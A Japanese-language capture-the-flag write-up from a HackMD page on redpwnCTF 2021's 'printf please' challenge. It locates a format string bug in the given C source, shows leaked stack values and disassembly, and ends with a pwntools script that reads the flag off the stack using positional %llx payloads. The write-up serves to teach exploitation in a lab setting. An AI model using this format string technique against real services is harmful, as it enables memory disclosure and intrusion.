Try   HackMD
tags: redpwnCTF 2021 FSB

printf please - redpwn CTF 2021

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

公式リポジトリ

writeup

TL;DR

配布されたCのソースファイルを見ると自明なFSBがある(30行目)。

if (!strncmp(buffer, "please", 6)) {
  printf(buffer); // <- here
  puts(" to you too!");
}

よって、FSBによってFlagを読み出す。

debug

pleaseは706c65617365(なのでリトルエンディアンでは657361656c70)。

what do you say?
please %1$016llx %2$016llx %3$016llx %4$016llx %5$016llx %6$016llx %7$016llx %8$016llx %9$016llx %10$016llx
please 00007ffc7dab7d96 0000000000000001 0000000000000000 00005574e25a1010 00007f793512cd50 2520657361656c70 786c6c3631302431 6c36313024322520 313024332520786c 24342520786c6c36 to you too!

そうすると、6番目に657361656c70があらわれています。

次に、rspから+0x200にFlagデータの先頭アドレスedx[1]がある。

    0x000055555555518f <+47>:    lea    r13,[rsp+0x200]
~~~
(中略)
~~~
   0x00005555555551e7 <+135>:   mov    edx,0x200
   0x00005555555551ec <+140>:   mov    rsi,r13
   0x00005555555551ef <+143>:   mov    edi,eax
   0x00005555555551f1 <+145>:   mov    r12d,eax
   0x00005555555551f4 <+148>:   xor    eax,eax
   0x00005555555551f6 <+150>:   call   0x555555555130 <read@plt>

  • (8byte × 64) = 0x200
  • 6個目にデータがあらわれる。

以上より、6 + 64 = 70番目からデータをリークすればいいことがわかる。

solver

from pwn import * elf = ELF("./please") io = process(elf.path) payload = "please " for i in range(5): payload += "%" + str(70+i) + "$llx " io.sendlineafter("?", payload) io.recvuntil(" ") l = b"" for i in range (5): l += p64(int(io.recvuntil(" "), 16)) print(l)

参考文献

  1. x86_Architecture

  1. 算術演算操作とI/O操作に使用されるレジスタ ↩︎